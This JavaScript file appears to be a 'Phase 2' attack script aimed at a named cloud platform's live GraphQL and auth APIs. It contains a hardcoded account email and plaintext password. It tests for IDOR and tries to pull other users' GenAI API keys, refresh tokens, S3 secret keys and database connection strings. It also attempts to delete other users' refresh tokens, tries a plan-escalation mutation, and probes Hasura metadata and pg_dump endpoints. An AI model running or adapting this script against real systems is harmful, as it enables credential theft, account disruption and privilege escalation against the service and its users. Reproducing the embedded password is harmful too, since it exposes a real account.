444 lines
19 KiB
JavaScript
444 lines
19 KiB
JavaScript
// Phase 2: Deep Dive — Correct mutation signatures, IDOR via listApps,
|
|
// GenAI key leakage, refresh token abuse, resource manipulation, XSS vectors
|
|
const https = require('https');
|
|
|
|
const AUTH_EMAIL = 'ziad.abd.elgwad2003@gmail.com';
|
|
const AUTH_PASS = '2062003Mz*';
|
|
const GQL_URL = 'https://graphql.ghaymah.systems/v1/graphql';
|
|
const AUTH_URL = 'https://auth.ghaymah.systems/signin/email-password';
|
|
|
|
let TOKEN = null;
|
|
let USER_ID = null;
|
|
|
|
function httpReq(method, url, body, headers = {}) {
|
|
return new Promise((resolve, reject) => {
|
|
const u = new URL(url);
|
|
const data = body ? JSON.stringify(body) : null;
|
|
const opts = {
|
|
hostname: u.hostname, port: 443, path: u.pathname + u.search, method,
|
|
headers: { 'Content-Type': 'application/json', ...headers }
|
|
};
|
|
if (data) opts.headers['Content-Length'] = Buffer.byteLength(data);
|
|
const req = https.request(opts, res => {
|
|
let d = '';
|
|
res.on('data', c => d += c);
|
|
res.on('end', () => {
|
|
try { resolve({ status: res.statusCode, headers: res.headers, body: JSON.parse(d) }); }
|
|
catch { resolve({ status: res.statusCode, headers: res.headers, body: d }); }
|
|
});
|
|
});
|
|
req.on('error', reject);
|
|
if (data) req.write(data);
|
|
req.end();
|
|
});
|
|
}
|
|
|
|
async function graphql(query, variables = {}, extraHeaders = {}) {
|
|
return httpReq('POST', GQL_URL, { query, variables }, { Authorization: `Bearer ${TOKEN}`, ...extraHeaders });
|
|
}
|
|
|
|
async function authenticate() {
|
|
const res = await httpReq('POST', AUTH_URL, { email: AUTH_EMAIL, password: AUTH_PASS });
|
|
TOKEN = res.body.session.accessToken;
|
|
const parts = TOKEN.split('.');
|
|
const payload = JSON.parse(Buffer.from(parts[1], 'base64url').toString());
|
|
USER_ID = payload.sub;
|
|
console.log('[+] Authenticated as:', USER_ID);
|
|
return res.body.session;
|
|
}
|
|
|
|
async function testCorrectMutationSignatures() {
|
|
console.log('\n' + '='.repeat(60));
|
|
console.log('PHASE 2-1: MUTATION SIGNATURE DISCOVERY (arg1 pattern)');
|
|
console.log('='.repeat(60));
|
|
|
|
// The mutations use `arg1` as a single input object. Need to discover the input type.
|
|
const introspectMutation = await graphql(`{
|
|
__type(name: "mutation_root") {
|
|
fields {
|
|
name
|
|
args {
|
|
name
|
|
type {
|
|
name
|
|
kind
|
|
ofType { name kind }
|
|
inputFields { name type { name kind ofType { name kind ofType { name } } } }
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}`);
|
|
|
|
const mutations = introspectMutation.body.data.__type.fields;
|
|
const targetMutations = ['createApp', 'deleteApp', 'updateApp', 'listApps', 'createSecret', 'listSecrets', 'listPullSecrets', 'appLogs', 'createStaticApp', 'listStaticApps', 'createPostgresDb', 'listPostgresDb', 'createS3Bucket', 'listS3Buckets', 'createVolume', 'listVolumes', 'deleteAuthRefreshToken', 'deleteAuthRefreshTokens'];
|
|
|
|
for (const m of mutations.filter(f => targetMutations.includes(f.name))) {
|
|
console.log(`\n MUTATION: ${m.name}`);
|
|
m.args.forEach(a => {
|
|
const typeName = a.type.name || a.type.ofType?.name || a.type.kind;
|
|
console.log(` arg: ${a.name} (${typeName})`);
|
|
if (a.type.inputFields) {
|
|
a.type.inputFields.forEach(f => {
|
|
const ft = f.type.name || f.type.ofType?.name || f.type.ofType?.ofType?.name || f.type.kind;
|
|
console.log(` - ${f.name}: ${ft}`);
|
|
});
|
|
}
|
|
});
|
|
}
|
|
|
|
// Discover input types for createApp
|
|
const createAppInput = await graphql(`{
|
|
__type(name: "CreateAppInput") { name inputFields { name type { name kind ofType { name kind ofType { name } } } } }
|
|
}`);
|
|
if (createAppInput.body.data?.__type) {
|
|
console.log('\n CreateAppInput fields:');
|
|
createAppInput.body.data.__type.inputFields.forEach(f => {
|
|
const t = f.type.name || f.type.ofType?.name || f.type.ofType?.ofType?.name || f.type.kind;
|
|
console.log(` - ${f.name}: ${t}`);
|
|
});
|
|
}
|
|
|
|
// Try common input type names
|
|
const inputTypeNames = ['CreateAppInput', 'createApp_input', 'AppInput', 'CreateAppArgs', 'UpdateAppInput', 'DeleteAppInput', 'AppCreateInput'];
|
|
for (const name of inputTypeNames) {
|
|
const res = await graphql(`{ __type(name: "${name}") { name inputFields { name type { name kind ofType { name } } } } }`);
|
|
if (res.body.data?.__type) {
|
|
console.log(`\n Found input type: ${name}`);
|
|
res.body.data.__type.inputFields.forEach(f => {
|
|
const t = f.type.name || f.type.ofType?.name || f.type.kind;
|
|
console.log(` - ${f.name}: ${t}`);
|
|
});
|
|
}
|
|
}
|
|
}
|
|
|
|
async function testListAppsIDOR() {
|
|
console.log('\n' + '='.repeat(60));
|
|
console.log('PHASE 2-2: listApps MUTATION — IDOR TEST');
|
|
console.log('='.repeat(60));
|
|
|
|
// listApps takes no args — test what it returns
|
|
const res = await graphql('mutation { listApps { id name project_id image status url cpu memory env { name value is_secret } ports { number hostname } tags { key value } } }');
|
|
if (res.body.errors) {
|
|
console.log('[+] listApps error:', JSON.stringify(res.body.errors[0].message).substring(0, 150));
|
|
// Try simpler field set
|
|
const res2 = await graphql('mutation { listApps { id name status url image } }');
|
|
if (res2.body.data) {
|
|
console.log('[+] listApps result:', JSON.stringify(res2.body.data.listApps, null, 2));
|
|
} else {
|
|
console.log('[+] listApps (simple):', JSON.stringify(res2.body.errors[0].message).substring(0, 150));
|
|
}
|
|
} else {
|
|
console.log('[+] listApps returned:', res.body.data.listApps?.length, 'apps');
|
|
res.body.data.listApps?.forEach(app => {
|
|
console.log(` APP: ${app.name} (${app.id}) — ${app.status}`);
|
|
console.log(` URL: ${app.url}`);
|
|
console.log(` Image: ${app.image}`);
|
|
if (app.env?.length) {
|
|
console.log(` [!!!] ENV VARS EXPOSED:`);
|
|
app.env.forEach(e => console.log(` ${e.name}=${e.is_secret ? '***SECRET***' : e.value}`));
|
|
}
|
|
});
|
|
}
|
|
}
|
|
|
|
async function testGenAIKeyLeakage() {
|
|
console.log('\n' + '='.repeat(60));
|
|
console.log('PHASE 2-3: GenAI API KEY LEAKAGE');
|
|
console.log('='.repeat(60));
|
|
|
|
// The schema shows ghaymah_cloud_genai_apikeys with key_value field — this is a massive leak
|
|
const res = await graphql('{ ghaymah_cloud_genai_apikeys { key_id key_name key_value litellm_user_id max_budget user_id } }');
|
|
if (res.body.data?.ghaymah_cloud_genai_apikeys) {
|
|
const keys = res.body.data.ghaymah_cloud_genai_apikeys;
|
|
console.log(`[!!!] GenAI API keys exposed: ${keys.length} keys`);
|
|
keys.forEach(k => {
|
|
console.log(` KEY: ${k.key_name} (ID: ${k.key_id})`);
|
|
console.log(` Value: ${k.key_value ? k.key_value.substring(0, 10) + '...[REDACTED]' : 'null'}`);
|
|
console.log(` User: ${k.user_id}, Budget: ${k.max_budget}`);
|
|
});
|
|
} else {
|
|
console.log('[+] GenAI keys:', JSON.stringify(res.body.errors?.[0]?.message || 'No data').substring(0, 150));
|
|
}
|
|
|
|
// Try cross-user query
|
|
const crossUser = await graphql(`{ ghaymah_cloud_genai_apikeys(where: { user_id: { _neq: "${USER_ID}" } }) { key_id key_name key_value user_id } }`);
|
|
if (crossUser.body.data?.ghaymah_cloud_genai_apikeys?.length > 0) {
|
|
console.log(`[!!!] IDOR: Can see OTHER users' GenAI keys: ${crossUser.body.data.ghaymah_cloud_genai_apikeys.length} keys from other users!`);
|
|
} else {
|
|
console.log('[+] Cross-user GenAI key query: Properly filtered');
|
|
}
|
|
}
|
|
|
|
async function testRefreshTokenAccess() {
|
|
console.log('\n' + '='.repeat(60));
|
|
console.log('PHASE 2-4: REFRESH TOKEN TABLE ACCESS');
|
|
console.log('='.repeat(60));
|
|
|
|
// authRefreshTokens is exposed in the schema as a query
|
|
const res = await graphql('{ authRefreshTokens { id userId type expiresAt metadata } }');
|
|
if (res.body.data?.authRefreshTokens) {
|
|
const tokens = res.body.data.authRefreshTokens;
|
|
console.log(`[!!!] Refresh tokens accessible: ${tokens.length} tokens`);
|
|
const myTokens = tokens.filter(t => t.userId === USER_ID);
|
|
const otherTokens = tokens.filter(t => t.userId !== USER_ID);
|
|
console.log(` Own tokens: ${myTokens.length}`);
|
|
console.log(` Other users' tokens: ${otherTokens.length}`);
|
|
if (otherTokens.length > 0) {
|
|
console.log(` [!!!] CRITICAL: Can see other users' refresh tokens!`);
|
|
otherTokens.slice(0, 3).forEach(t => console.log(` Token: ${t.id.substring(0, 8)}... User: ${t.userId} Expires: ${t.expiresAt}`));
|
|
}
|
|
// Count unique users
|
|
const uniqueUsers = new Set(tokens.map(t => t.userId));
|
|
console.log(` Unique users visible: ${uniqueUsers.size}`);
|
|
} else {
|
|
console.log('[+] Refresh tokens:', JSON.stringify(res.body.errors?.[0]?.message || 'No data').substring(0, 150));
|
|
}
|
|
|
|
// Can we delete other users' tokens?
|
|
const deleteTest = await graphql(`mutation { deleteAuthRefreshTokens(where: { userId: { _neq: "${USER_ID}" } }) { affected_rows } }`);
|
|
console.log('[+] Delete other users tokens attempt:', JSON.stringify(deleteTest.body.errors || deleteTest.body.data).substring(0, 200));
|
|
}
|
|
|
|
async function testUserPlansAccess() {
|
|
console.log('\n' + '='.repeat(60));
|
|
console.log('PHASE 2-5: USER PLANS — CROSS-USER ACCESS & PRIVILEGE ESCALATION');
|
|
console.log('='.repeat(60));
|
|
|
|
// ghaymah_cloud_user_plans is queryable
|
|
const res = await graphql('{ ghaymah_cloud_user_plans { id user_id plan_type current_resources max_resources created_at updated_at } }');
|
|
if (res.body.data?.ghaymah_cloud_user_plans) {
|
|
const plans = res.body.data.ghaymah_cloud_user_plans;
|
|
console.log(`[+] User plans accessible: ${plans.length} records`);
|
|
plans.forEach(p => {
|
|
console.log(` Plan: ${p.plan_type} — Resources: ${p.current_resources}/${p.max_resources} — User: ${p.user_id.substring(0, 8)}...`);
|
|
});
|
|
const otherPlans = plans.filter(p => p.user_id !== USER_ID);
|
|
if (otherPlans.length > 0) console.log(` [!!!] IDOR: Can see ${otherPlans.length} other users' plans`);
|
|
} else {
|
|
console.log('[+] User plans:', JSON.stringify(res.body.errors?.[0]?.message || 'No data').substring(0, 150));
|
|
}
|
|
|
|
// Try to escalate plan via managed_resources insert
|
|
const escalateRes = await graphql(`mutation {
|
|
insert_ghaymah_cloud_managed_resources_one(object: {
|
|
resource_type: "plan_override",
|
|
config: { plan_type: "enterprise", max_resources: 100 }
|
|
}) { id }
|
|
}`);
|
|
console.log('[+] Plan escalation attempt:', JSON.stringify(escalateRes.body.errors || escalateRes.body.data).substring(0, 200));
|
|
}
|
|
|
|
async function testResourcesAccess() {
|
|
console.log('\n' + '='.repeat(60));
|
|
console.log('PHASE 2-6: MANAGED RESOURCES & ROW EVENTS — DATA ENUMERATION');
|
|
console.log('='.repeat(60));
|
|
|
|
const res = await graphql('{ ghaymah_cloud_managed_resources { id config status } }');
|
|
console.log('[+] Managed resources:', JSON.stringify(res.body.data || res.body.errors?.[0]?.message).substring(0, 300));
|
|
|
|
const res2 = await graphql('{ ghaymah_cloud_resources { id } }');
|
|
console.log('[+] Resources:', JSON.stringify(res2.body.data || res2.body.errors?.[0]?.message).substring(0, 300));
|
|
|
|
// Row events — may contain audit logs with sensitive data
|
|
const res3 = await graphql('{ ghaymah_cloud_row_event(limit: 5) { id } }');
|
|
console.log('[+] Row events:', JSON.stringify(res3.body.data || res3.body.errors?.[0]?.message).substring(0, 300));
|
|
|
|
// Aggregate — data inference
|
|
const res4 = await graphql('{ ghaymah_cloud_row_event_aggregate { aggregate { count } } }');
|
|
console.log('[+] Row event count:', JSON.stringify(res4.body.data || res4.body.errors?.[0]?.message).substring(0, 200));
|
|
|
|
// Store templates
|
|
const res5 = await graphql('{ ghaymah_cloud_store { id name description image } }');
|
|
if (res5.body.data?.ghaymah_cloud_store) {
|
|
console.log(`[+] Store templates: ${res5.body.data.ghaymah_cloud_store.length} templates`);
|
|
}
|
|
}
|
|
|
|
async function testListAllResources() {
|
|
console.log('\n' + '='.repeat(60));
|
|
console.log('PHASE 2-7: LIST ALL RESOURCES VIA MUTATIONS');
|
|
console.log('='.repeat(60));
|
|
|
|
const mutations = [
|
|
['listApps', 'mutation { listApps { id name status url image } }'],
|
|
['listStaticApps', 'mutation { listStaticApps { id name status url } }'],
|
|
['listSecrets', 'mutation { listSecrets { id name project_id } }'],
|
|
['listPullSecrets', 'mutation { listPullSecrets { id server username project_id } }'],
|
|
['listVolumes', 'mutation { listVolumes { id name project_id size } }'],
|
|
['listPostgresDb', 'mutation { listPostgresDb { id name postgres_db postgres_user postgres_version status url } }'],
|
|
['listS3Buckets', 'mutation { listS3Buckets { id name status } }'],
|
|
];
|
|
|
|
for (const [name, query] of mutations) {
|
|
const res = await graphql(query);
|
|
if (res.body.data) {
|
|
const data = res.body.data[name];
|
|
console.log(`[+] ${name}: ${data?.length || 0} items`);
|
|
if (data?.length > 0) {
|
|
data.forEach(item => console.log(` ${JSON.stringify(item)}`));
|
|
}
|
|
} else {
|
|
console.log(`[+] ${name}: ERROR — ${res.body.errors?.[0]?.message?.substring(0, 80)}`);
|
|
}
|
|
}
|
|
}
|
|
|
|
async function testS3KeyLeakage() {
|
|
console.log('\n' + '='.repeat(60));
|
|
console.log('PHASE 2-8: S3 BUCKET KEY LEAKAGE');
|
|
console.log('='.repeat(60));
|
|
|
|
// KeyOutput has secret_access_key field!
|
|
const buckets = await graphql('mutation { listS3Buckets { id name } }');
|
|
if (buckets.body.data?.listS3Buckets?.length > 0) {
|
|
for (const b of buckets.body.data.listS3Buckets) {
|
|
const keys = await graphql(`mutation { listS3BucketKeys(arg1: { bucket_id: "${b.id}" }) { id access_key_id secret_access_key endpoint owner read write } }`);
|
|
if (keys.body.data?.listS3BucketKeys) {
|
|
console.log(`[!!!] S3 Bucket "${b.name}" keys:`);
|
|
keys.body.data.listS3BucketKeys.forEach(k => {
|
|
console.log(` access_key_id: ${k.access_key_id}`);
|
|
console.log(` secret_access_key: ${k.secret_access_key ? k.secret_access_key.substring(0, 10) + '...[REDACTED]' : 'null'}`);
|
|
console.log(` endpoint: ${k.endpoint}`);
|
|
});
|
|
}
|
|
}
|
|
} else {
|
|
console.log('[+] No S3 buckets found (or blocked)');
|
|
}
|
|
}
|
|
|
|
async function testPostgresURLLeakage() {
|
|
console.log('\n' + '='.repeat(60));
|
|
console.log('PHASE 2-9: POSTGRES CONNECTION STRING LEAKAGE');
|
|
console.log('='.repeat(60));
|
|
|
|
// PostgresOutput has `url` field which is the connection string
|
|
const dbs = await graphql('mutation { listPostgresDb { id name postgres_db postgres_user postgres_version status url alias } }');
|
|
if (dbs.body.data?.listPostgresDb?.length > 0) {
|
|
console.log(`[!!!] PostgreSQL instances: ${dbs.body.data.listPostgresDb.length}`);
|
|
dbs.body.data.listPostgresDb.forEach(db => {
|
|
console.log(` DB: ${db.name} (${db.postgres_version})`);
|
|
console.log(` Status: ${db.status}`);
|
|
console.log(` URL: ${db.url ? db.url.substring(0, 30) + '...[REDACTED]' : 'null'}`);
|
|
});
|
|
} else {
|
|
console.log('[+] No PostgreSQL instances found (or blocked)');
|
|
}
|
|
}
|
|
|
|
async function testSubscriptionAccess() {
|
|
console.log('\n' + '='.repeat(60));
|
|
console.log('PHASE 2-10: SUBSCRIPTION-BASED DATA ACCESS');
|
|
console.log('='.repeat(60));
|
|
|
|
// Test if subscriptions leak cross-tenant data when queried as regular queries
|
|
const subQueries = [
|
|
['genai_apikeys_stream', '{ ghaymah_cloud_genai_apikeys(limit: 10) { key_id key_name user_id } }'],
|
|
['user_plans_stream', '{ ghaymah_cloud_user_plans(limit: 10, order_by: { created_at: desc }) { id user_id plan_type max_resources } }'],
|
|
['row_events_stream', '{ ghaymah_cloud_row_event(limit: 3, order_by: { id: desc }) { id } }'],
|
|
];
|
|
|
|
for (const [name, query] of subQueries) {
|
|
const res = await graphql(query);
|
|
if (res.body.data) {
|
|
const key = Object.keys(res.body.data)[0];
|
|
const data = res.body.data[key];
|
|
console.log(`[+] ${name}: ${data?.length || 0} records`);
|
|
if (data?.length > 0) {
|
|
console.log(` Sample: ${JSON.stringify(data[0])}`);
|
|
// Check for cross-tenant data
|
|
const users = new Set(data.filter(d => d.user_id).map(d => d.user_id));
|
|
if (users.size > 1) console.log(` [!!!] Multiple users visible: ${users.size} unique user IDs`);
|
|
}
|
|
} else {
|
|
console.log(`[+] ${name}: ${res.body.errors?.[0]?.message?.substring(0, 80)}`);
|
|
}
|
|
}
|
|
}
|
|
|
|
async function testUnauthenticatedAccess() {
|
|
console.log('\n' + '='.repeat(60));
|
|
console.log('PHASE 2-11: UNAUTHENTICATED ACCESS TESTS');
|
|
console.log('='.repeat(60));
|
|
|
|
const queries = [
|
|
['Introspection (no auth)', '{ __schema { types { name } } }'],
|
|
['Store templates (no auth)', '{ ghaymah_cloud_store { id name } }'],
|
|
['User plans (no auth)', '{ ghaymah_cloud_user_plans { id plan_type } }'],
|
|
['GenAI keys (no auth)', '{ ghaymah_cloud_genai_apikeys { key_id } }'],
|
|
['Row events (no auth)', '{ ghaymah_cloud_row_event { id } }'],
|
|
['ListApps (no auth)', 'mutation { listApps { id } }'],
|
|
['ListSecrets (no auth)', 'mutation { listSecrets { id } }'],
|
|
];
|
|
|
|
for (const [name, query] of queries) {
|
|
const res = await httpReq('POST', GQL_URL, { query }, { 'Content-Type': 'application/json' });
|
|
if (res.body.data) {
|
|
const key = Object.keys(res.body.data)[0];
|
|
const data = res.body.data[key];
|
|
const count = Array.isArray(data) ? data.length : (data ? '1' : '0');
|
|
console.log(`[!!!] ${name}: ACCESSIBLE — ${count} items`);
|
|
} else {
|
|
console.log(`[+] ${name}: BLOCKED — ${res.body.errors?.[0]?.message?.substring(0, 60)}`);
|
|
}
|
|
}
|
|
}
|
|
|
|
async function testAdditionalEndpoints() {
|
|
console.log('\n' + '='.repeat(60));
|
|
console.log('PHASE 2-12: ADDITIONAL ENDPOINT DISCOVERY');
|
|
console.log('='.repeat(60));
|
|
|
|
const endpoints = [
|
|
['Hasura Console', 'https://graphql.ghaymah.systems/console'],
|
|
['Hasura Metadata', 'https://graphql.ghaymah.systems/v1/metadata'],
|
|
['Hasura PG Dump', 'https://graphql.ghaymah.systems/v1/pg_dump'],
|
|
['Hasura Config', 'https://graphql.ghaymah.systems/v1/graphql/config'],
|
|
['Auth Health', 'https://auth.ghaymah.systems/healthz'],
|
|
['Auth Version', 'https://auth.ghaymah.systems/version'],
|
|
['GenAI API', 'https://genai.ghaymah.systems/health'],
|
|
['GenAI Models', 'https://genai.ghaymah.systems/models'],
|
|
['GenAI Keys', 'https://genai.ghaymah.systems/key/info'],
|
|
['Registry Catalog', 'https://registry.ghaymah.systems/v2/_catalog'],
|
|
['Logs API', 'https://logs.ghaymah.systems/api/v1/query'],
|
|
];
|
|
|
|
for (const [name, url] of endpoints) {
|
|
try {
|
|
const res = await httpReq('GET', url, null, { Authorization: `Bearer ${TOKEN}` });
|
|
const bodyStr = typeof res.body === 'string' ? res.body.substring(0, 100) : JSON.stringify(res.body).substring(0, 100);
|
|
const severity = res.status < 400 ? '!!!' : '+';
|
|
console.log(`[${severity}] ${name} (${res.status}): ${bodyStr}`);
|
|
} catch(e) {
|
|
console.log(`[+] ${name}: ERROR — ${e.message}`);
|
|
}
|
|
}
|
|
}
|
|
|
|
// Main execution
|
|
(async () => {
|
|
try {
|
|
await authenticate();
|
|
await testCorrectMutationSignatures();
|
|
await testListAppsIDOR();
|
|
await testGenAIKeyLeakage();
|
|
await testRefreshTokenAccess();
|
|
await testUserPlansAccess();
|
|
await testResourcesAccess();
|
|
await testListAllResources();
|
|
await testS3KeyLeakage();
|
|
await testPostgresURLLeakage();
|
|
await testSubscriptionAccess();
|
|
await testUnauthenticatedAccess();
|
|
await testAdditionalEndpoints();
|
|
|
|
console.log('\n' + '='.repeat(60));
|
|
console.log('PHASE 2 COMPLETE');
|
|
console.log('='.repeat(60));
|
|
} catch(e) {
|
|
console.error('FATAL:', e);
|
|
}
|
|
})();
|